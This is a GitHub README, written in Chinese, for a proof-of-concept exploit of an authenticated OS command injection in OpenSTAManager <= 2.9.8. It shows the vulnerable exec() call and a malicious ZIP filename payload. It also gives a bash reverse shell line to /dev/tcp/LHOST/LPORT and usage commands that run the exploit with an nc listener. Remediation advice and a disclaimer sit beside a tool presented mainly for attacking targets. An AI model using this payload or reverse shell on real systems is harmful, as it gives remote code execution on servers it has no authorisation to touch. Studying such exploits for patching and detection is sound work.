c0gnit00/CVE-2026-69212

GitHub: c0gnit00/CVE-2026-69212

针对 OpenSTAManager <= 2.9.8 OS 命令注入漏洞(CVE-2025-69212)的 PoC exploit,通过上传含恶意文件名的 ZIP 实现远程代码执行。

Stars: 1 | Forks: 0

# CVE-2025-69212 — OpenSTAManager OS 命令注入 (RCE) **CVE-2025-69212** 的概念验证 exploit,这是 OpenSTAManager <= 2.9.8 中的一个 OS 命令注入漏洞,允许经过身份验证的攻击者通过恶意构造的 ZIP 文件上传实现远程代码执行 (RCE)。 ## 安全公告 - **CVE:** CVE-2025-69212 - **GHSA:** [GHSA-25fp-8w8p-mx36](https://github.com/advisories/GHSA-25fp-8w8p-mx36) - **受影响版本:** OpenSTAManager <= 2.9.8 - **修复版本:** OpenSTAManager 2.9.9+ - **CVSS:** 严重 ## 漏洞详情 该漏洞存在于 `src/Util/XML.php` 的第 ~100 行,应用程序在此处将用户控制的 filename 直接传递给 shell 的 `exec()` 调用而未进行过滤: ``` exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"'); ``` 当通过 `importFE_ZIP` 插件 (`/actions.php`) 上传 ZIP 存档时,应用程序会解压该 ZIP 文件,并将每个 `.p7m` 条目的 filename 传递给 `exec()`。攻击者可以构造一个带有恶意 filename 的 ZIP 文件,从而突破双引号参数的限制并注入任意 shell 命令。 **注入 payload (filename):** ``` invoice.p7m";;echo ".p7m ``` **产生的 shell 执行:** ``` openssl smime ... -in "invoice.p7m";;echo ".p7m" ... # 启动 listener ``` ## 环境要求 - Python 3.x - `requests` 库 - 有效的 OpenSTAManager 凭据(任何有权访问导入插件的角色) - 攻击者机器上的监听器(例如 `nc`) 安装依赖项: ``` pip install requests ``` ## 用法 ``` python3 CVE-2025-69212.py -u -U -P --lhost --lport ``` ### 选项 | 参数 | 必需 | 描述 | |---|---|---| | `-u`, `--url` | 是 | 目标基础 URL(例如 `http://target.htb`) | | `-U`, `--username` | 是 | OpenSTAManager 用户名 | | `-P`, `--password` | 是 | OpenSTAManager 密码 | | `--lhost` | 是 | 用于 reverse shell 的 IP 地址 | | `--lport` | 是 | 用于 reverse shell 的监听端口 | | `--proxy` | 否 | HTTP 代理(例如 `http://127.0.0.1:8080`) | ### 示例 ``` # ^^^^^^^^^^^^ injected here nc -lvnp 4444 # 运行 exploit python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 # 通过 Burp Suite 路由 python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080 ``` ## 工作原理 1. **身份验证** — 使用提供的凭据登录 OpenSTAManager 2. **构建 payload** — 构造一个包含 `.p7m` 文件的 ZIP 存档,该文件的 filename 中包含注入的命令 3. **Base64 编码** — reverse shell (`bash -i >& /dev/tcp/LHOST/LPORT 0>&1`) 经过 base64 编码,以避免 filename 中出现正斜杠 4. **上传** — 通过 `importFE_ZIP` 插件将 ZIP POST 到 `/actions.php` 5. **执行** — 服务器解压 ZIP 文件,将恶意 filename 传递给 `exec()`,从而触发 reverse shell 6. **线程处理** — 上传在 daemon thread 中运行,因为 bash 会保持 HTTP 连接打开;脚本会干净地退出,无需等待响应 ## 修复建议 更新至 OpenSTAManager **2.9.9 或更高版本**,该版本在将 filename 传递给 shell 命令之前会对其进行过滤清理。 如果无法立即打补丁,请禁用 `importFE_ZIP` 插件或限制对 `/actions.php` 的访问,仅允许受信任的用户访问。 ## 免责声明 本工具仅供**授权的安全测试和教育目的**使用。仅在您拥有或获得明确书面许可进行测试的系统上使用。未经授权对您不拥有的系统使用本工具是非法且不道德的。作者对因滥用本工具而造成的任何误用或损害概不负责。 ## 参考 - [GHSA-25fp-8w8p-mx36](https://github.com/advisories/GHSA-25fp-8w8p-mx36) - [OpenSTAManager GitHub](https://github.com/devcode-it/openstamanager) - [NVD - CVE-2025-69212](https://nvd.nist.gov/vuln/detail/CVE-2025-69212)
标签:CISA项目, Python, Web安全, 命令注入, 安全, 无后门, 蓝队分析, 超时处理, 逆向工具